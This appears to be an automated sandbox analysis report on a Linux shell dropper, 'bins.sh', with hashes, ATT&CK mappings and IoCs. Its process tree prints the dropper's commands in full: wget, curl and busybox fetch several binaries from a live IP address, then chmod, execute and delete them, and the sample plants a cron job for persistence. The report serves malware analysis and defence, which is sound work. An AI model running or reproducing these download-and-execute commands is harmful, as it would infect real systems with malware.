65bb3378f20346a669cf034ec3b3d7760f53296e957bd7a6d3e64bd9e0cd608c

Analysis

max time kernel
123s
max time network
153s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24-11-2024 04:27

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General

Target

bins.sh
Size

10KB
MD5

df284d43c50345c61fb4802b4396a3b3
SHA1

ce94f3d5873280df0c3479ecd725dead3d66b5d7
SHA256

65bb3378f20346a669cf034ec3b3d7760f53296e957bd7a6d3e64bd9e0cd608c
SHA512

3ed1bc581779962db46652c8e0bf1911156c49bc6b5310e7012e499cdcd8ba85876d11fae05c70e0fc4939828d3aa737bf3ff3d3d1ec4e77fa6d85c8460bb031
SSDEEP

192:y5FjD5EdIO+SHL394wy2tQgL394wj0twjD5EdI3:y5K+SHL394wy6QgL394wjwO

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1516) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmod

pid process

743 chmod
750 chmod
854 chmod
870 chmod

pid	process
743	chmod
750	chmod
854	chmod
870	chmod

Executes dropped EXE 4 IoCs

Processes:

U59jXOydvquUhHn4MKkSAbnLlVezXQJxQTgFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCMEUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9

ioc	pid	process
/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	744	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM	751	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
/tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9	856	EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
/tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9	871	Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9

Renames itself 1 IoCs

Processes:

gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM

pid process

752 gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.ju3uJd crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
752	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.ju3uJd	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM

description	ioc	process
File opened for reading	/proc/386/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/813/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/895/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/788/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/791/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/809/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/824/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/842/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/79/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/685/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/983/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/999/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/762/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/764/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/940/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/832/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/863/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/782/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/798/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/822/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/888/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/930/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/11/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/805/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/861/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/881/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/779/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/837/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/850/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1004/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/855/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/867/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/951/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/914/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/970/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/992/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/909/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/915/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/997/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/801/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/839/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/846/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/959/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/972/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/941/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/800/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/802/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/806/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/879/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/16/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/769/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/807/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/796/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/871/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/954/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/955/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/967/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/337/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/897/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/938/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/763/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/803/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/819/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusyboxbusyboxbusybox

description	ioc	process
File opened for modification	/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	wget
File opened for modification	/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	curl
File opened for modification	/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	busybox
File opened for modification	/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM	wget
File opened for modification	/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM	curl
File opened for modification	/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM	busybox
File opened for modification	/tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9	busybox
File opened for modification	/tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:718
- /usr/bin/wget
  wget http://216.126.231.240/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Writes file to tmp directory
  PID:720
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  ./U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  PID:746
- /usr/bin/wget
  wget http://216.126.231.240/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  ./gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:751
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:753
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:754
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:755
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:756
- /bin/rm
  rm gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  PID:758
- /usr/bin/wget
  wget http://216.126.231.240/bins/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  PID:764
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  - Writes file to tmp directory
  PID:767
- /bin/chmod
  chmod 777 EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  ./EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  - Writes file to tmp directory
  PID:863
- /bin/chmod
  chmod 777 Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  ./Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  PID:875
- /usr/bin/wget
  wget http://216.126.231.240/bins/GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
  2⤵
  PID:879

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.ju3uJd

Filesize
210B

MD5
38871c30c6dd976e31c15d7d9b402361

SHA1
6f392f733b3a18e0a72ef55a80a410ca171da320

SHA256
0aae3a8ee12121f97970e302cf6da47292d2d2d55b49976ef28ff0e0ad501bb5

SHA512
3127e7cbb08d4c7e7e2d6ffbab9e5a1de91ebcf2a1b5d9d9dd5fa0f3f7f2cc68422e184a8388455f49af31b3353ea343fc041acd29515f91aca2128523e4c7c4

Download Submit